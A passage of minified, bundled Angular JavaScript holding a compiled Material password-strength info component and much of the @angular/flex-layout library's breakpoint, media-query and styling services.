new(Dt||Je)},Je.\\u0275cmp=a.Xpm({type:Je,selectors:[["mat-password-strength-info"]],inputs:{enableScoreInfo:"enableScoreInfo",lowerCaseCriteriaMsg:"lowerCaseCriteriaMsg",upperCaseCriteriaMsg:"upperCaseCriteriaMsg",digitsCriteriaMsg:"digitsCriteriaMsg",specialCharsCriteriaMsg:"specialCharsCriteriaMsg",customCharsCriteriaMsg:"customCharsCriteriaMsg",minCharsCriteriaMsg:"minCharsCriteriaMsg",passwordComponent:"passwordComponent"},exportAs:["matPasswordStrengthInfo"],decls:9,vars:8,consts:[["class","info-row",4,"ngIf"],[1,"info-row"],[4,"ngIf","ngIfThen","ngIfElse"],["done",""],["error",""],["color","primary"],["color","warn"]],template:function(Dt,Pt){1&Dt&&(a.TgZ(0,"mat-card")(1,"mat-card-content"),a.YNc(2,H,8,5,"div",0),a.YNc(3,Q,8,5,"div",0),a.YNc(4,K,8,5,"div",0),a.YNc(5,we,8,5,"div",0),a.YNc(6,le,8,5,"div",0),a.YNc(7,qe,8,5,"div",0),a.YNc(8,ze,8,5,"div",0),a.qZA()()),2&Dt&&(a.Q6J("@list",void 0),a.xp6(2),a.Q6J("ngIf",Pt.passwordComponent.enableLowerCaseLetterRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableUpperCaseLetterRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableDigitRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableSpecialCharRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableLengthRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.customValidator),a.xp6(1),a.Q6J("ngIf",Pt.enableScoreInfo))},dependencies:[c.O5,_.a8,_.dn,S.Hw],styles:["mat-card[_ngcontent-%COMP%]{-webkit-box-orient:horizontal;-webkit-box-direction:normal;flex-direction:row;box-sizing:border-box;display:-webkit-box;display:flex;place-content:stretch center;-webkit-box-align:stretch;align-items:stretch;-webkit-box-flex:1;flex:1 1 0}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%]{-webkit-box-orient:vertical;-webkit-box-direction:normal;flex-direction:column;box-sizing:border-box;display:-webkit-box;display:flex;max-width:100%;place-content:stretch flex-start;-webkit-box-align:stretch;align-items:stretch}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{margin-right:10px}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%] .info-row[_ngcontent-%COMP%]{-webkit-box-orient:horizontal;-webkit-box-direction:normal;flex-direction:row;box-sizing:border-box;display:-webkit-box;display:flex;-webkit-box-align:center;align-items:center}"],data:{animation:[(0,u.X$)("list",[(0,u.eR)(":enter",[(0,u.IO)("@items",(0,u.EY)(300,(0,u.pV)()))])]),(0,u.X$)("items",[(0,u.eR)(":enter",[(0,u.oB)({transform:"scale(0.5)",opacity:0}),(0,u.jt)("1s cubic-bezier(.8,-0.6,0.2,1.5)",(0,u.oB)({transform:"scale(1)",opacity:1}))]),(0,u.eR)(":leave",[(0,u.oB)({transform:"scale(1)",opacity:1,height:"*"}),(0,u.jt)("1s cubic-bezier(.8,-0.6,0.2,1.5)",(0,u.oB)({transform:"scale(0.5)",opacity:0,height:"0px",margin:"0px"}))])]),(0,u.X$)("positiveState",[(0,u.eR)(":enter",[(0,u.oB)({"backface-visibility":"visible"}),(0,u.jt)("{{ timing }}s {{ delay }}s ease-in",(0,u.F4)([(0,u.oB)({opacity:0,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 90deg)",offset:0}),(0,u.oB)({opacity:1,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -20deg)",offset:.4}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 10deg)",offset:.6}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -5deg)",offset:.8}),(0,u.oB)({transform:"perspective(400px) rotate3d(0, 0, 0, 0)",offset:1})]))],{params:{timing:1,delay:0,rotateX:1,rotateY:0}})]),(0,u.X$)("negativeState",[(0,u.eR)(":enter",(0,u._7)(R))])]}}),(0,n.gn)([(0,a.IIB)()],Je.prototype,"passwordComponent",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableScoreInfo",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"lowerCaseCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"upperCaseCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"digitsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"specialCharsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"customCharsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"minCharsCriteriaMsg",void 0),Je})();var _e;let ct=_e=class{static forRoot(){return{ngModule:_e,providers:[]}}};ct.\\u0275fac=function(Et){return new(Et||ct)},ct.\\u0275mod=a.oAB({type:ct}),ct.\\u0275inj=a.cJS({imports:[c.ez,f.Cv,_.QW,S.Ps,E.si]})},5107:(At,ae,d)=>{"use strict";d.d(ae,{Bs:()=>oe,IR:()=>z,Ot:()=>Gt,QI:()=>Vt,RK:()=>wt,WU:()=>G,g5:()=>U,iR:()=>ce,wY:()=>Q,yB:()=>u1});var n=d(4650),a=d(6895),s=d(8929),u=d(591),c=d(6498),f=d(6787),E=d(2198),_=d(2868);const g={provide:n.tb,useFactory:function S(It,_t){return()=>{if((0,a.NF)(_t)){const kt=Array.from(It.querySelectorAll(`[class*=${C}]`)),Fe=/\\bflex-layout-.+?\\b/g;kt.forEach(be=>{be.classList.contains(`${C}ssr`)&&be.parentNode?be.parentNode.removeChild(be):be.className.replace(Fe,"")})}}},deps:[a.K0,n.Lbi],multi:!0},C="flex-layout-";let z=(()=>(()=>{class _t{}return _t.\\u0275fac=function(Fe){return new(Fe||_t)},_t.\\u0275mod=n.oAB({type:_t}),_t.\\u0275inj=n.cJS({providers:[g]}),_t})())();class H{constructor(_t=!1,kt="all",Fe="",be="",Pe=0){this.matches=_t,this.mediaQuery=kt,this.mqAlias=Fe,this.suffix=be,this.priority=Pe,this.property=""}clone(){return new H(this.matches,this.mediaQuery,this.mqAlias,this.suffix)}}let j=(()=>(()=>{class _t{constructor(){this.stylesheet=new Map}addStyleToElement(Fe,be,Pe){const Re=this.stylesheet.get(Fe);Re?Re.set(be,Pe):this.stylesheet.set(Fe,new Map([[be,Pe]]))}clearStyles(){this.stylesheet.clear()}getStyleForElement(Fe,be){const Pe=this.stylesheet.get(Fe);let Re="";if(Pe){const Ue=Pe.get(be);("number"==typeof Ue||"string"==typeof Ue)&&(Re=Ue+"")}return Re}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t},token:_t,providedIn:"root"}),_t})())();const U={addFlexToParent:!0,addOrientationBps:!1,disableDefaultBps:!1,disableVendorPrefixes:!1,serverLoaded:!1,useColumnBasisZero:!0,printWithBreakpoints:[],mediaTriggerAutoRestore:!0,ssrObserveBreakpoints:[]},G=new n.OlP("Flex Layout token, config options for the library",{providedIn:"root",factory:()=>U}),Q=new n.OlP("FlexLayoutServerLoaded",{providedIn:"root",factory:()=>!1}),oe=new n.OlP("Flex Layout token, collect all breakpoints into one provider",{providedIn:"root",factory:()=>null});function Ce(It,_t){return It=It?It.clone():new H,_t&&(It.mqAlias=_t.alias,It.mediaQuery=_t.mediaQuery,It.suffix=_t.suffix,It.priority=_t.priority),It}const k="inline",K=["row","column","row-reverse","column-reverse"];function q(It){if(It)switch(It.toLowerCase()){case"reverse":case"wrap-reverse":case"reverse-wrap":It="wrap-reverse";break;case"no":case"none":case"nowrap":It="nowrap";break;default:It="wrap"}return It}let ce=(()=>{class It{constructor(kt,Fe,be,Pe){this.elementRef=kt,this.styleBuilder=Fe,this.styler=be,this.marshal=Pe,this.DIRECTIVE_KEY="",this.inputs=[],this.mru={},this.destroySubject=new s.xQ,this.styleCache=new Map}get parentElement(){return this.elementRef.nativeElement.parentElement}get nativeElement(){return this.elementRef.nativeElement}get activatedValue(){return this.marshal.getValue(this.nativeElement,this.DIRECTIVE_KEY)}set activatedValue(kt){this.marshal.setValue(this.nativeElement,this.DIRECTIVE_KEY,kt,this.marshal.activatedAlias)}ngOnChanges(kt){Object.keys(kt).forEach(Fe=>{if(-1!==this.inputs.indexOf(Fe)){const be=Fe.split(".").slice(1).join(".");this.setValue(kt[Fe].currentValue,be)}})}ngOnDestroy(){this.destroySubject.next(),this.destroySubject.complete(),this.marshal.releaseElement(this.nativeElement)}init(kt=[]){this.marshal.init(this.elementRef.nativeElement,this.DIRECTIVE_KEY,this.updateWithValue.bind(this),this.clearStyles.bind(this),kt)}addStyles(kt,Fe){const be=this.styleBuilder,Pe=be.shouldCache;let Re=this.styleCache.get(kt);(!Re||!Pe)&&(Re=be.buildStyles(kt,Fe),Pe&&this.styleCache.set(kt,Re)),this.mru=Object.assign({},Re),this.applyStyleToElement(Re),be.sideEffect(kt,Re,Fe)}clearStyles(){Object.keys(this.mru).forEach(kt=>{this.mru[kt]=""}),this.applyStyleToElement(this.mru),this.mru={}}triggerUpdate(){this.marshal.triggerUpdate(this.nativeElement,this.DIRECTIVE_KEY)}getFlexFlowDirection(kt,Fe=!1){if(kt){const[be,Pe]=this.styler.getFlowDirection(kt);if(!Pe&&Fe){const Re=function se(It){let[_t,kt,Fe]=function ee(It){It=It?It.toLowerCase():"";let[_t,kt,Fe]=It.split(" ");return K.find(be=>be===_t)||(_t=K[0]),kt===k&&(kt=Fe!==k?Fe:"",Fe=k),[_t,q(kt),!!Fe]}(It);return function we(It,_t=null,kt=!1){return{display:kt?"inline-flex":"flex","box-sizing":"border-box","flex-direction":It,"flex-wrap":_t||null}}(_t,kt,Fe)}(be);this.styler.applyStyleToElements(Re,[kt])}return be.trim()}return"row"}hasWrap(kt){return this.styler.hasWrap(kt)}applyStyleToElement(kt,Fe,be=this.nativeElement){this.styler.applyStyleToElement(be,kt,Fe)}setValue(kt,Fe){this.marshal.setValue(this.nativeElement,this.DIRECTIVE_KEY,kt,Fe)}updateWithValue(kt){this.currentValue!==kt&&(this.addStyles(kt),this.currentValue=kt)}}return It.\\u0275fac=function(kt){n.$Z()},It.\\u0275dir=n.lG2({type:It,features:[n.TTD]}),It})();const je=[{alias:"xs",mediaQuery:"screen and (min-width: 0px) and (max-width: 599.9px)",priority:1e3},{alias:"sm",mediaQuery:"screen and (min-width: 600px) and (max-width: 959.9px)",priority:900},{alias:"md",mediaQuery:"screen and (min-width: 960px) and (max-width: 1279.9px)",priority:800},{alias:"lg",mediaQuery:"screen and (min-width: 1280px) and (max-width: 1919.9px)",priority:700},{alias:"xl",mediaQuery:"screen and (min-width: 1920px) and (max-width: 4999.9px)",priority:600},{alias:"lt-sm",overlapping:!0,mediaQuery:"screen and (max-width: 599.9px)",priority:950},{alias:"lt-md",overlapping:!0,mediaQuery:"screen and (max-width: 959.9px)",priority:850},{alias:"lt-lg",overlapping:!0,mediaQuery:"screen and (max-width: 1279.9px)",priority:750},{alias:"lt-xl",overlapping:!0,priority:650,mediaQuery:"screen and (max-width: 1919.9px)"},{alias:"gt-xs",overlapping:!0,mediaQuery:"screen and (min-width: 600px)",priority:-950},{alias:"gt-sm",overlapping:!0,mediaQuery:"screen and (min-width: 960px)",priority:-850},{alias:"gt-md",overlapping:!0,mediaQuery:"screen and (min-width: 1280px)",priority:-750},{alias:"gt-lg",overlapping:!0,mediaQuery:"screen and (min-width: 1920px)",priority:-650}],Ze="(orientation: portrait) and (max-width: 599.9px)",le="(orientation: landscape) and (max-width: 959.9px)",Oe="(orientation: portrait) and (min-width: 600px) and (max-width: 839.9px)",Qe="(orientation: landscape) and (min-width: 960px) and (max-width: 1279.9px)",Ye="(orientation: portrait) and (min-width: 840px)",qe="(orientation: landscape) and (min-width: 1280px)",Ke={HANDSET:`${Ze}, ${le}`,TABLET:`${Oe} , ${Qe}`,WEB:`${Ye}, ${qe} `,HANDSET_PORTRAIT:`${Ze}`,TABLET_PORTRAIT:`${Oe} `,WEB_PORTRAIT:`${Ye}`,HANDSET_LANDSCAPE:`${le}`,TABLET_LANDSCAPE:`${Qe}`,WEB_LANDSCAPE:`${qe}`},dt=[{alias:"handset",priority:2e3,mediaQuery:Ke.HANDSET},{alias:"handset.landscape",priority:2e3,mediaQuery:Ke.HANDSET_LANDSCAPE},{alias:"handset.portrait",priority:2e3,mediaQuery:Ke.HANDSET_PORTRAIT},{alias:"tablet",priority:2100,mediaQuery:Ke.TABLET},{alias:"tablet.landscape",priority:2100,mediaQuery:Ke.TABLET_LANDSCAPE},{alias:"tablet.portrait",priority:2100,mediaQuery:Ke.TABLET_PORTRAIT},{alias:"web",priority:2200,mediaQuery:Ke.WEB,overlapping:!0},{alias:"web.landscape",priority:2200,mediaQuery:Ke.WEB_LANDSCAPE,overlapping:!0},{alias:"web.portrait",priority:2200,mediaQuery:Ke.WEB_PORTRAIT,overlapping:!0}],ze=/(\\.|-|_)/g;function De(It){let _t=It.length>0?It.charAt(0):"",kt=It.length>1?It.slice(1):"";return _t.toUpperCase()+kt}function We(It,_t=[]){const kt={};return It.forEach(Fe=>{kt[Fe.alias]=Fe}),_t.forEach(Fe=>{kt[Fe.alias]?function bt(It,..._t){if(null==It)throw TypeError("Cannot convert undefined or null to object");for(let kt of _t)if(null!=kt)for(let Fe in kt)kt.hasOwnProperty(Fe)&&(It[Fe]=kt[Fe])}(kt[Fe.alias],Fe):kt[Fe.alias]=Fe}),function ve(It){return It.forEach(_t=>{_t.suffix||(_t.suffix=function re(It){return It.replace(ze,"|").split("|").map(De).join("")}(_t.alias),_t.overlapping=!!_t.overlapping)}),It}(Object.keys(kt).map(Fe=>kt[Fe]))}const xt=new n.OlP("Token (@angular/flex-layout) Breakpoints",{providedIn:"root",factory:()=>{const It=(0,n.f3M)(oe),_t=(0,n.f3M)(G),kt=[].concat.apply([],(It||[]).map(be=>Array.isArray(be)?be:[be]));return We((_t.disableDefaultBps?[]:je).concat(_t.addOrientationBps?dt:[]),kt)}});function Be(It,_t){return(_t&&_t.priority||0)-(It&&It.priority||0)}function pe(It,_t){return(It.priority||0)-(_t.priority||0)}let P=(()=>(()=>{class _t{constructor(Fe){this.findByMap=new Map,this.items=[...Fe].sort(pe)}findByAlias(Fe){return Fe?this.findWithPredicate(Fe,be=>be.alias==Fe):null}findByQuery(Fe){return this.findWithPredicate(Fe,be=>be.mediaQuery==Fe)}get overlappings(){return this.items.filter(Fe=>1==Fe.overlapping)}get aliases(){return this.items.map(Fe=>Fe.alias)}get suffixes(){return this.items.map(Fe=>Fe.suffix?Fe.suffix:"")}findWithPredicate(Fe,be){let Pe=this.findByMap.get(Fe);return Pe||(Pe=this.items.find(be)||null,this.findByMap.set(Fe,Pe)),Pe||null}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(xt))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(xt))},token:_t,providedIn:"root"}),_t})())(),w=(()=>(()=>{class _t{constructor(Fe,be,Pe){this._zone=Fe,this._platformId=be,this._document=Pe,this.source=new u.X(new H(!0)),this.registry=new Map,this.pendingRemoveListenerFns=[],this._observable$=this.source.asObservable()}get activations(){const Fe=[];return this.registry.forEach((be,Pe)=>{be.matches&&Fe.push(Pe)}),Fe}isActive(Fe){const be=this.registry.get(Fe);return be?be.matches:this.registerQuery(Fe).some(Pe=>Pe.matches)}observe(Fe,be=!1){if(Fe&&Fe.length){const Pe=this._observable$.pipe((0,E.h)(Ue=>!be||Fe.indexOf(Ue.mediaQuery)>-1)),Re=new c.y(Ue=>{const xe=this.registerQuery(Fe);if(xe.length){const J=xe.pop();xe.forEach(Ae=>{Ue.next(Ae)}),this.source.next(J)}Ue.complete()});return(0,f.T)(Re,Pe)}return this._observable$}registerQuery(Fe){const be=Array.isArray(Fe)?Fe:[Fe],Pe=[];return function X(It,_t){const kt=It.filter(Fe=>!R[Fe]);if(kt.length>0){const Fe=kt.join(", ");try{const be=_t.createElement("style");be.setAttribute("type","text/css"),be.styleSheet||be.appendChild(_t.createTextNode(`\\n/*\\n @angular/flex-layout - workaround for possible browser quirk with mediaQuery listeners\\n see http://bit.ly/2sd4HMP\\n*/\\n@media ${Fe} {.fx-query-test{ }}\\n`)),_t.head.appendChild(be),kt.forEach(Pe=>R[Pe]=be)}catch(be){console.error(be)}}}(be,this._document),be.forEach(Re=>{const Ue=J=>{this._zone.run(()=>this.source.next(new H(J.matches,Re)))};let xe=this.registry.get(Re);xe||(xe=this.buildMQL(Re),xe.addListener(Ue),this.pendingRemoveListenerFns.push(()=>xe.removeListener(Ue)),this.registry.set(Re,xe)),xe.matches&&Pe.push(new H(!0,Re))}),Pe}ngOnDestroy(){let Fe;for(;Fe=this.pendingRemoveListenerFns.pop();)Fe()}buildMQL(Fe){return function _e(It,_t){return _t&&window.matchMedia("all").addListener?window.matchMedia(It):{matches:"all"===It||""===It,media:It,addListener:()=>{},removeListener:()=>{},onchange:null,addEventListener(){},removeEventListener(){},dispatchEvent:()=>!1}}(Fe,(0,a.NF)(this._platformId))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(n.R0b),n.LFG(n.Lbi),n.LFG(a.K0))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(n.R0b),(0,n.LFG)(n.Lbi),(0,n.LFG)(a.K0))},token:_t,providedIn:"root"}),_t})())();const R={},Dt="print",Pt={alias:Dt,mediaQuery:Dt,priority:1e3};let Ie=(()=>(()=>{class _t{constructor(Fe,be,Pe){this.breakpoints=Fe,this.layoutConfig=be,this._document=Pe,this.registeredBeforeAfterPrintHooks=!1,this.isPrintingBeforeAfterEvent=!1,this.beforePrintEventListeners=[],this.afterPrintEventListeners=[],this.isPrinting=!1,this.queue=new te,this.deactivations=[]}withPrintQuery(Fe){return[...Fe,Dt]}isPrintEvent(Fe){return Fe.mediaQuery.startsWith(Dt)}get printAlias(){return this.layoutConfig.printWithBreakpoints||[]}get printBreakPoints(){return this.printAlias.map(Fe=>this.breakpoints.findByAlias(Fe)).filter(Fe=>null!==Fe)}getEventBreakpoints({mediaQuery:Fe}){const be=this.breakpoints.findByQuery(Fe);return(be?[...this.printBreakPoints,be]:this.printBreakPoints).sort(Be)}updateEvent(Fe){let be=this.breakpoints.findByQuery(Fe.mediaQuery);return this.isPrintEvent(Fe)&&(be=this.getEventBreakpoints(Fe)[0],Fe.mediaQuery=be?be.mediaQuery:""),Ce(Fe,be)}registerBeforeAfterPrintHooks(Fe){if(!this._document.defaultView||this.registeredBeforeAfterPrintHooks)return;this.registeredBeforeAfterPrintHooks=!0;const be=()=>{this.isPrinting||(this.isPrintingBeforeAfterEvent=!0,this.startPrinting(Fe,this.getEventBreakpoints(new H(!0,Dt))),Fe.updateStyles())},Pe=()=>{this.isPrintingBeforeAfterEvent=!1,this.isPrinting&&(this.stopPrinting(Fe),Fe.updateStyles())};this._document.defaultView.addEventListener("beforeprint",be),this._document.defaultView.addEventListener("afterprint",Pe),this.beforePrintEventListeners.push(be),this.afterPrintEventListeners.push(Pe)}interceptEvents(Fe){return this.registerBeforeAfterPrintHooks(Fe),be=>{this.isPrintEvent(be)?be.matches&&!this.isPrinting?(this.startPrinting(Fe,this.getEventBreakpoints(be)),Fe.updateStyles()):!be.matches&&this.isPrinting&&!this.isPrintingBeforeAfterEvent&&(this.stopPrinting(Fe),Fe.updateStyles()):this.collectActivations(be)}}blockPropagation(){return Fe=>!(this.isPrinting||this.isPrintEvent(Fe))}startPrinting(Fe,be){this.isPrinting=!0,Fe.activatedBreakpoints=this.queue.addPrintBreakpoints(be)}stopPrinting(Fe){Fe.activatedBreakpoints=this.deactivations,this.deactivations=[],this.queue.clear(),this.isPrinting=!1}collectActivations(Fe){if(!this.isPrinting||this.isPrintingBeforeAfterEvent)if(Fe.matches)this.isPrintingBeforeAfterEvent||(this.deactivations=[]);else{const be=this.breakpoints.findByQuery(Fe.mediaQuery);be&&(this.deactivations.push(be),this.deactivations.sort(Be))}}ngOnDestroy(){this.beforePrintEventListeners.forEach(Fe=>this._document.defaultView.removeEventListener("beforeprint",Fe)),this.afterPrintEventListeners.forEach(Fe=>this._document.defaultView.removeEventListener("afterprint",Fe))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(P),n.LFG(G),n.LFG(a.K0))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(P),(0,n.LFG)(G),(0,n.LFG)(a.K0))},token:_t,providedIn:"root"}),_t})())();class te{constructor(){this.printBreakpoints=[]}addPrintBreakpoints(_t){return _t.push(Pt),_t.sort(Be),_t.forEach(kt=>this.addBreakpoint(kt)),this.printBreakpoints}addBreakpoint(_t){_t&&void 0===this.printBreakpoints.find(Fe=>Fe.mediaQuery===_t.mediaQuery)&&(this.printBreakpoints=function x(It){return!!It&&It.mediaQuery.startsWith(Dt)}(_t)?[_t,...this.printBreakpoints]:[...this.printBreakpoints,_t])}clear(){this.printBreakpoints=[]}}function it(It){for(let _t in It){let kt=It[_t]||"";switch(_t){case"display":It.display="flex"===kt?["-webkit-flex","flex"]:"inline-flex"===kt?["-webkit-inline-flex","inline-flex"]:kt;break;case"align-items":case"align-self":case"align-content":case"flex":case"flex-basis":case"flex-flow":case"flex-grow":case"flex-shrink":case"flex-wrap":case"justify-content":It["-webkit-"+_t]=kt;break;case"flex-direction":kt=kt||"row",It["-webkit-flex-direction"]=kt,It["flex-direction"]=kt;break;case"order":It.order=It["-webkit-"+_t]=isNaN(+kt)?"0":kt}}return It}let wt=(()=>(()=>{class _t{constructor(Fe,be,Pe,Re){this._serverStylesheet=Fe,this._serverModuleLoaded=be,this._platformId=Pe,this.layoutConfig=Re}applyStyleToElement(Fe,be,Pe=null){let Re={};"string"==typeof be&&(Re[be]=Pe,be=Re),Re=this.layoutConfig.disableVendorPrefixes?be:it(be),this._applyMultiValueStyleToElement(Re,Fe)}applyStyleToElements(Fe,be=[]){const Pe=this.layoutConfig.disableVendorPrefixes?Fe:it(Fe);be.forEach(Re=>{this._applyMultiValueStyleToElement(Pe,Re)})}getFlowDirection(Fe){const be="flex-direction";let Pe=this.lookupStyle(Fe,be);return[Pe||"row",this.lookupInlineStyle(Fe,be)||(0,a.PM)(this._platformId)&&this._serverModuleLoaded?Pe:""]}hasWrap(Fe){return"wrap"===this.lookupStyle(Fe,"flex-wrap")}lookupAttributeValue(Fe,be){return Fe.getAttribute(be)||""}lookupInlineStyle(Fe,be){return(0,a.NF)(this._platformId)?Fe.style.getPropertyValue(be):this._getServerStyle(Fe,be)}lookupStyle(Fe,be,Pe=!1){let Re="";return Fe&&((Re=this.lookupInlineStyle(Fe,be))||((0,a.NF)(this._platformId)?Pe||(Re=getComputedStyle(Fe).getPropertyValue(be)):this._serverModuleLoaded&&(Re=this._serverStylesheet.getStyleForElement(Fe,be)))),Re?Re.trim():""}_applyMultiValueStyleToElement(Fe,be){Object.keys(Fe).sort().forEach(Pe=>{const Re=Fe[Pe],Ue=Array.isArray(Re)?Re:[Re];Ue.sort();for(let xe of Ue)xe=xe?xe+"":"",(0,a.NF)(this._platformId)||!this._serverModuleLoaded?(0,a.NF)(this._platformId)?be.style.setProperty(Pe,xe):this._setServerStyle(be,Pe,xe):this._serverStylesheet.addStyleToElement(be,Pe,xe)})}_setServerStyle(Fe,be,Pe){be=be.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase();const Re=this._readStyleAttribute(Fe);Re[be]=Pe||"",this._writeStyleAttribute(Fe,Re)}_getServerStyle(Fe,be){return this._readStyleAttribute(Fe)[be]||""}_readStyleAttribute(Fe){const be={},Pe=Fe.getAttribute("style");if(Pe){const Re=Pe.split(/;+/g);for(let Ue=0;Ue<Re.length;Ue++){const xe=Re[Ue].trim();if(xe.length>0){const J=xe.indexOf(":");if(-1===J)throw new Error(`Invalid CSS style: ${xe}`);be[xe.substr(0,J).trim()]=xe.substr(J+1).trim()}}}return be}_writeStyleAttribute(Fe,be){let Pe="";for(const Re in be)be[Re]&&(Pe+=Re+":"+be[Re]+";");Fe.setAttribute("style",Pe)}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(j),n.LFG(Q),n.LFG(n.Lbi),n.LFG(G))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(j),(0,n.LFG)(Q),(0,n.LFG)(n.Lbi),(0,n.LFG)(G))},token:_t,providedIn:"root"}),_t})())();class Vt{constructor(){this.shouldCache=!0}sideEffect(_t,kt,Fe){}}function Gt(It,_t="1",kt="1"){let Fe=[_t,kt,It],be=It.indexOf("calc");if(be>0){Fe[2]=qt(It.substring(be).trim());let Pe=It.substr(0,be).trim().split(" ");2==Pe.length&&(Fe[0]=Pe[0],Fe[1]=Pe[1])}else if(0==be)Fe[2]=qt(It.trim());else{let Pe=It.split(" ");Fe=3===Pe.length?Pe:[_t,kt,It]}return Fe}function qt(It){return It.replace(/[\\s]/g,"").replace(/[\\/\\*\\+\\-]/g," $& ")}let u1=(()=>(()=>{class _t{constructor(Fe,be,Pe){this.matchMedia=Fe,this.breakpoints=be,this.hook=Pe,this.activatedBreakpoints=[],this.elementMap=new Map,this.elementKeyMap=new WeakMap,this.watcherMap=new WeakMap,this.updateMap=new WeakMap,this.clearMap=new WeakMap,this.subject=new s.xQ,this.observeActivations()}get activatedAlias(){return this.activatedBreakpoints[0]?this.activatedBreakpoints[0].alias:""}onMediaChange(Fe){const be=this.findByQuery(Fe.mediaQuery);be&&((Fe=Ce(Fe,be)).matches&&-1===this.activatedBreakpoints.indexOf(be)?(this.activatedBreakpoints.push(be),this.activatedBreakpoints.sort(Be),this.updateStyles()):!Fe.matches&&-1!==this.activatedBreakpoints.indexOf(be)&&(this.activatedBreakpoints.splice(this.activatedBreakpoints.indexOf(be),1),this.activatedBreakpoints.sort(Be),this.updateStyles()))}init(Fe,be,Pe,Re,Ue=[]){c1(this.updateMap,Fe,be,Pe),c1(this.clearMap,Fe,be,Re),this.buildElementKeyMap(Fe,be),this.watchExtraTriggers(Fe,be,Ue)}getValue(Fe,be,Pe){const Re=this.elementMap.get(Fe);if(Re){const Ue=void 0!==Pe?Re.get(Pe):this.getActivatedValues(Re,be);if(Ue)return Ue.get(be)}}hasValue(Fe,be){const Pe=this.elementMap.get(Fe);if(Pe){const Re=this.getActivatedValues(Pe,be);if(Re)return void 0!==Re.get(be)||!1}return!1}setValue(Fe,be,Pe,Re){let Ue=this.elementMap.get(Fe);if(Ue){const J=(Ue.get(Re)||new Map).set(be,Pe);Ue.set(Re,J),this.elementMap.set(Fe,Ue)}else Ue=(new Map).set(Re,(new Map).set(be,Pe)),this.elementMap.set(Fe,Ue);const xe=this.getValue(Fe,be);void 0!==xe&&this.updateElement(Fe,be,xe)}trackValue(Fe,be){return this.subject.asObservable().pipe((0,E.h)(Pe=>Pe.element===Fe&&Pe.key===be))}updateStyles(){this.elementMap.forEach((Fe,be)=>{const Pe=new Set(this.elementKeyMap.get(be));let Re=this.getActivatedValues(Fe);Re&&Re.forEach((Ue,xe)=>{this.updateElement(be,xe,Ue),Pe.delete(xe)}),Pe.forEach(Ue=>{if(Re=this.getActivatedValues(Fe,Ue),Re){const xe=Re.get(Ue);this.updateElement(be,Ue,xe)}else this.clearElement(be,Ue)})})}clearElement(Fe,be){const Pe=this.clearMap.get(Fe);if(Pe){const Re=Pe.get(be);Re&&(Re(),this.subject.next({element:Fe,key:be,value:""}))}}updateElement(Fe,be,Pe){const Re=this.updateMap.get(Fe);if(Re){const Ue=Re.get(be);Ue&&(Ue(Pe),this.subject.next({element:Fe,key:be,value:Pe}))}}releaseElement(Fe){const be=this.watcherMap.get(Fe);be&&(be.forEach(Re=>Re.unsubscribe()),this.watcherMap.delete(Fe));const Pe=this.elementMap.get(Fe);Pe&&(Pe.forEach((Re,Ue)=>Pe.delete(Ue)),this.elementMap.delete(Fe))}triggerUpdate(Fe,be){const Pe=this.elementMap.get(Fe);if(Pe){const Re=this.getActivatedValues(Pe,be);Re&&(be?this.updateElement(Fe,be,Re.get(be)):Re.forEach((Ue,xe)=>this.updateElement(Fe,xe,Ue)))}}buildElementKeyMap(Fe,be){let Pe=this.elementKeyMap.get(Fe);Pe||(Pe=new Set,this.elementKeyMap.set(Fe,Pe)),Pe.add(be)}watchExtraTriggers(Fe,be,Pe){if(Pe&&Pe.length){let Re=this.watcherMap.get(Fe);if(Re||(Re=new Map,this.watcherMap.set(Fe,Re)),!Re.get(be)){const xe=(0,f.T)(...Pe).subscribe(()=>{const J=this.getValue(Fe,be);this.updateElement(Fe,be,J)});Re.set(be,xe)}}}findByQuery(Fe){return this.breakpoints.findByQuery(Fe)}getActivatedValues(Fe,be){for(let Re=0;Re<this.activatedBreakpoints.length;Re++){const xe=Fe.get(this.activatedBreakpoints[Re].alias);if(xe&&(void 0===be||xe.has(be)&&null!=xe.get(be)))return xe}const Pe=Fe.get("");return void 0===be||Pe&&Pe.has(be)?Pe:void 0}observeActivations(){const be=this.breakpoints.items.map(Pe=>Pe.mediaQuery);this.matchMedia.observe(this.hook.withPrintQuery(be)).pipe((0,_.b)(this.hook.interceptEvents(this)),(0,E.h)(this.hook.blockPropagation())).subscribe(this.onMediaChange.bind(this))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(w),n.LFG(P),n.LFG(Ie))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new 